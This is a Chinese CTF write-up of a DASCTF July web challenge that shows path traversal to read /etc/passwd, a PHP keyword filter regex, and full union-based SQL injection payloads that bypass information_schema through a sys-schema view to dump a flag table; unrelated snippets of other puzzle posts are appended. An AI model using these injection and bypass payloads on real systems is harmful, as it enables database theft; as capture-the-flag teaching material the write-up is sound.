DASCTF七月賽兩道Web題復現

2022-08-03 04:27:10 字數 1430 閱讀 5550

拿到

t是時間,可以利用time.time()獲得。f是檔名。經過base64加密。一開始給的是gqy.jpg,訪問/gqy.jpg和gpy.jpg的回顯一樣。嘗試目錄穿越在gqy.jpg後面加../可以讀到etc/passwd

提示need id,加個id引數,發現id=1或2或3有回顯,id=3'無回顯,id=3''有回顯,存在注入。

試下?id=3' union select 1,2,3#,給出過濾的字元

return preg_match("/;|benchmark|\^|if|[\s]|in|case|when|sleep|auto|desc|stat|\||lock|or|and|&|like|-|`/i", $id);
並沒有看到union select被過濾,我們暫且繼續使用聯合注入。

'union/**/select/**/1,2,database()%23
暴出資料庫的名字為sqlidb

接著暴表名,但是過濾了or, 那麼information_schema無法使用,雙寫和大小寫or都無法繞過,這個涉及到bypass information_schema的問題了。可以參考

但是stat被過濾了,文章中提到的

sys.schema_table_statistics_with_buffer

sys.x$ps_schema_table_statistics_io

無法使用,但是可以使用sys.x$schema_flattened_keys。

?id=666'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/sys.x$schema_flattened_keys/**/where/**/table_schema="sqlidb"%23
暴出表名

看到了flllaaaggg,那麼應該沒有列了。直接查詢flllaaaggg。

?id=666'/**/union/**/select/**/*,1/**/from/**/flllaaaggg%23
加個 1,是因為union 內部的 select 語句必須擁有相同數量的列

2020 安恆七月賽

解壓得到乙個壓縮包和一張圖 壓縮包flag.rar是加密的,密碼應該在圖里,開始分析red blue.png找提示,用stegsolve工具分析 儲存乙個檔案 順利開啟加密壓縮包,開啟flag.txt,得到一串字元 由字元猜測為base85編碼,解碼得flag 1.file format 檔案格式,...

洛谷七月月賽P3817

小a有n個糖果盒,第i個盒中有a i 顆糖果。小a每次可以從其中一盒糖果中吃掉一顆,他想知道,要讓任意兩個相鄰的盒子中加起來都只有x顆或以下的糖果,至少得吃掉幾顆糖。輸入格式 第一行輸入n和x。第二行n個整數,為a i 輸出格式 至少要吃掉的糖果數量。輸入樣例 1 3 3 2 2 2 輸出樣例 1 ...

(續)上次周賽兩道題 kmp,bfs

時間限制 1 sec 記憶體限制 128 mb 某天某個人想去買一條手鍊,但是她比較挑剔,不但想要最美麗的,又想要最長的,手鍊的顏色可以比較多,但是又不能毫無規律的顏色多而已。她要買的手鍊必須是顏色夠多,還要有規律,什麼叫做有規律?就是有迴圈的。假如給定參照手鍊 rgb 再給乙個手鍊比如 rgbrg...